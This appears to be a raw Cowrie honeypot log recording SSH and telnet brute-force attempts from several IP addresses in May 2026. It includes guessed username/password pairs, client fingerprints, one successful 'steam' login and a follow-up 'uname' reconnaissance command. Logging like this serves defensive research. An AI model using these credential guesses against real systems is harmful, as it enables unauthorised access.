{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:54.721449Z","src_ip":"45.153.34.112","session":"985d9c4cb2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.98467397689819,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:54.827461Z","src_ip":"192.119.13.58","session":"4b875938fe37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:55.030123Z","src_ip":"45.153.34.112","session":"985d9c4cb2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":41906,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fcd24c3bf50","protocol":"ssh","message":"New connection: 43.173.122.127:41906 (10.17.0.5:22) [session: 0fcd24c3bf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:55.732447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:55.737579Z","src_ip":"43.173.122.127","session":"0fcd24c3bf50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.49579739570618,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:55.798355Z","src_ip":"192.119.13.58","session":"1869fd300d89","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:55.806175Z","src_ip":"43.173.122.127","session":"0fcd24c3bf50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1g1t4l","message":"login attempt [root/d1g1t4l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:56.112502Z","src_ip":"43.173.122.127","session":"0fcd24c3bf50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:56.124835Z","src_ip":"45.153.34.112","session":"985d9c4cb2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:57.184448Z","src_ip":"43.173.122.127","session":"0fcd24c3bf50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35618,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c64b2324c4a","protocol":"telnet","message":"New connection: 192.119.13.58:35618 (10.17.0.5:23) [session: 3c64b2324c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:57.260453Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57334,"dst_ip":"10.17.0.5","dst_port":22,"session":"f732c4cd5b04","protocol":"ssh","message":"New connection: 45.153.34.112:57334 (10.17.0.5:22) [session: f732c4cd5b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:58.341976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:58.346602Z","src_ip":"45.153.34.112","session":"f732c4cd5b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:58.429258Z","src_ip":"45.153.34.112","session":"f732c4cd5b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:58.681599Z","src_ip":"45.153.34.112","session":"f732c4cd5b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:59.817850Z","src_ip":"45.153.34.112","session":"f732c4cd5b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51624,"dst_ip":"10.17.0.5","dst_port":23,"session":"71749a0adbfb","protocol":"telnet","message":"New connection: 192.119.13.58:51624 (10.17.0.5:23) [session: 71749a0adbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:01.043189Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b10ec91b1d9","protocol":"ssh","message":"New connection: 45.153.34.112:46668 (10.17.0.5:22) [session: 5b10ec91b1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:02.123755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:02.131272Z","src_ip":"45.153.34.112","session":"5b10ec91b1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.260680675506592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:02.157146Z","src_ip":"192.119.13.58","session":"0dc036a3838c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:02.217112Z","src_ip":"45.153.34.112","session":"5b10ec91b1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:02.472467Z","src_ip":"45.153.34.112","session":"5b10ec91b1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:03.559038Z","src_ip":"45.153.34.112","session":"5b10ec91b1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37718,"dst_ip":"10.17.0.5","dst_port":23,"session":"d946dd0f16fa","protocol":"telnet","message":"New connection: 192.119.13.58:37718 (10.17.0.5:23) [session: d946dd0f16fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:04.601711Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46674,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd20b3ccf9d","protocol":"ssh","message":"New connection: 45.153.34.112:46674 (10.17.0.5:22) [session: 9fd20b3ccf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:05.618938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:05.625349Z","src_ip":"45.153.34.112","session":"9fd20b3ccf9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:05.709241Z","src_ip":"45.153.34.112","session":"9fd20b3ccf9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f79b36f54ac","protocol":"telnet","message":"New connection: 192.119.13.58:42402 (10.17.0.5:23) [session: 0f79b36f54ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:05.723067Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:05.964097Z","src_ip":"45.153.34.112","session":"9fd20b3ccf9d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:06.190686Z","src_ip":"45.153.34.112","session":"9fd20b3ccf9d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:06.194255Z","src_ip":"45.153.34.112","session":"9fd20b3ccf9d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:06.288016Z","src_ip":"45.153.34.112","session":"9fd20b3ccf9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:06.296706Z","src_ip":"45.153.34.112","session":"9fd20b3ccf9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46684,"dst_ip":"10.17.0.5","dst_port":22,"session":"829d3b04df3e","protocol":"ssh","message":"New connection: 45.153.34.112:46684 (10.17.0.5:22) [session: 829d3b04df3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:09.494607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:09.499954Z","src_ip":"45.153.34.112","session":"829d3b04df3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:09.584264Z","src_ip":"45.153.34.112","session":"829d3b04df3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":54277,"dst_ip":"159.203.135.109","dst_port":23,"session":"36bf917a25d8","protocol":"telnet","message":"New connection: 186.195.16.41:54277 (159.203.135.109:23) [session: 36bf917a25d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:09.700788Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:09.835599Z","src_ip":"45.153.34.112","session":"829d3b04df3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:10.924429Z","src_ip":"45.153.34.112","session":"829d3b04df3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.38.102","src_port":1934,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e8c4215aad","protocol":"ssh","message":"New connection: 62.210.38.102:1934 (10.17.0.5:22) [session: e3e8c4215aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.011589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.016824Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.098868Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.574348211288452,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.275008Z","src_ip":"186.195.16.41","session":"36bf917a25d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.42524576187134,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.445922Z","src_ip":"192.119.13.58","session":"68edd64f6d11","protocol":"telnet"}
